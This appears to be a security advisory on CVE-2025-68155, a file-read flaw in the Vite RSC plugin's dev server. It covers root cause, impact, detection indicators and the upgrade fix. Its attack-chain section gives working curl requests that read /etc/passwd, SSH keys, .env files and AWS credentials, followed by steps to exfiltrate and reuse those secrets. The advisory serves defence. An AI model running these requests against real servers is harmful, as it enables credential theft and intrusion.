CVE-2025-68155: 
Vite RSC Plugin vulnerability analysis and mitigation

CVE-2025-68155 is an arbitrary file read vulnerability in the @vitejs/plugin-rsc npm package, which provides React Server Components (RSC) support for Vite. The /__vite_rsc_findSourceMapURL endpoint accepts a user-controlled filename query parameter and, when prefixed with file://, reads and returns the contents of any file accessible to the Node.js process without authentication or path validation. All versions of @vitejs/plugin-rsc prior to 0.5.8 are affected; the vulnerability is scoped to development mode (vite dev) only. It was disclosed on December 16, 2025, with a CVSS v3.1 base score of 7.5 (High) (Github Advisory, Feedly).

The root cause is classified as CWE-22 (Path Traversal) and CWE-73 (External Control of File Name or Path). In packages/plugin-rsc/src/plugins/find-source-map-url.ts (lines 49–61), the findSourceMapURL function accepts the filename query parameter directly from the HTTP request, checks only whether it starts with file://, converts it to a filesystem path via fileURLToPath(), and then reads the file with fs.readFileSync() — returning the full file contents in the JSON response under sourcesContent — without any validation that the path falls within the project directory (Github Advisory). The fix in version 0.5.8 adds a call to Vite's isFileLoadingAllowed() helper before reading the file, restricting access to paths permitted by the Vite server configuration (Patch Commit). A working PoC is publicly available in the security advisory itself, requiring only a single curl command against a running dev server.

An unauthenticated remote attacker can read any file accessible to the Node.js process running the Vite development server, including environment files (.env, .env.local), SSH private keys (~/.ssh/id_rsa), cloud credentials (~/.aws/credentials), database passwords, API keys, and arbitrary source code (Github Advisory). The impact is limited to confidentiality — there is no integrity or availability impact — but credential theft could enable lateral movement into cloud infrastructure, databases, or other systems. The vulnerability is constrained to development mode and does not affect production builds.

A detailed proof-of-concept exploit (both a single curl command and a Python script) is publicly documented in the GitHub security advisory, and verified exploitation results against a Docker container are included (Github Advisory). No authentication or special privileges are required; the only precondition is network access to the Vite dev server (e.g., when started with --host 0.0.0.0). The EPSS score is approximately 0.335% (Feedly data) to 1.18% (GitHub Advisory Database), placing it in the 79th percentile for exploitation likelihood. There is no evidence of in-the-wild exploitation or threat actor attribution at this time, and it is not listed in the CISA KEV catalog (Feedly).

1. Reconnaissance: Identify hosts running a Vite development server with @vitejs/plugin-rsc ≤ 0.5.7, particularly those started with --host 0.0.0.0 (exposing the server to the local network or internet). Tools like Shodan or network scanners can identify open port 5173.
2. Confirm vulnerability: Send a probe request to the /__vite_rsc_findSourceMapURL endpoint to verify the server responds with JSON source map data:

   curl 'http://<target>:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'

3. Read sensitive files: If the response contains sourcesContent with file data, iterate over high-value targets:

   curl 'http://<target>:5173/__vite_rsc_findSourceMapURL?filename=file:///root/.ssh/id_rsa&environmentName=Server'
   curl 'http://<target>:5173/__vite_rsc_findSourceMapURL?filename=file:///home/user/.env&environmentName=Server'
   curl 'http://<target>:5173/__vite_rsc_findSourceMapURL?filename=file:///home/user/.aws/credentials&environmentName=Server'

4. Exfiltrate credentials: Extract API keys, database passwords, SSH keys, or cloud credentials from the sourcesContent field of the JSON response.
5. Leverage stolen credentials: Use exfiltrated secrets for lateral movement — e.g., authenticate to cloud providers, databases, or remote systems using the stolen credentials (Github Advisory).

• Network: Unexpected HTTP GET requests to /__vite_rsc_findSourceMapURL with filename query parameters containing file:// URLs pointing outside the project directory (e.g., file:///etc/passwd, file:///root/.ssh/id_rsa, file:///proc/self/environ).
• Network: Requests to the Vite dev server (default port 5173) originating from external or unexpected IP addresses, especially with environmentName=Server in the query string.
• Logs: Vite development server access logs showing repeated or automated requests to /__vite_rsc_findSourceMapURL with varying filename values targeting sensitive system paths.
• Logs: HTTP 200 responses to /__vite_rsc_findSourceMapURL requests where the filename parameter references files outside the project root (e.g., /etc/, /root/, /home/, /proc/).
• File System: No direct file system artifacts are created by exploitation, but review of .env files and credential stores for unauthorized access timestamps may reveal compromise (Github Advisory).

Upgrade @vitejs/plugin-rsc to version 0.5.8 or later, which adds path validation via Vite's isFileLoadingAllowed() function before serving any file contents (Patch Commit, Github Advisory). As an immediate workaround, avoid starting the Vite dev server with --host 0.0.0.0 or any configuration that exposes it to untrusted networks; restrict dev server access to localhost only. Additionally, ensure proper network segmentation so development environments are not reachable from untrusted hosts, and rotate any secrets that may have been exposed if exploitation is suspected.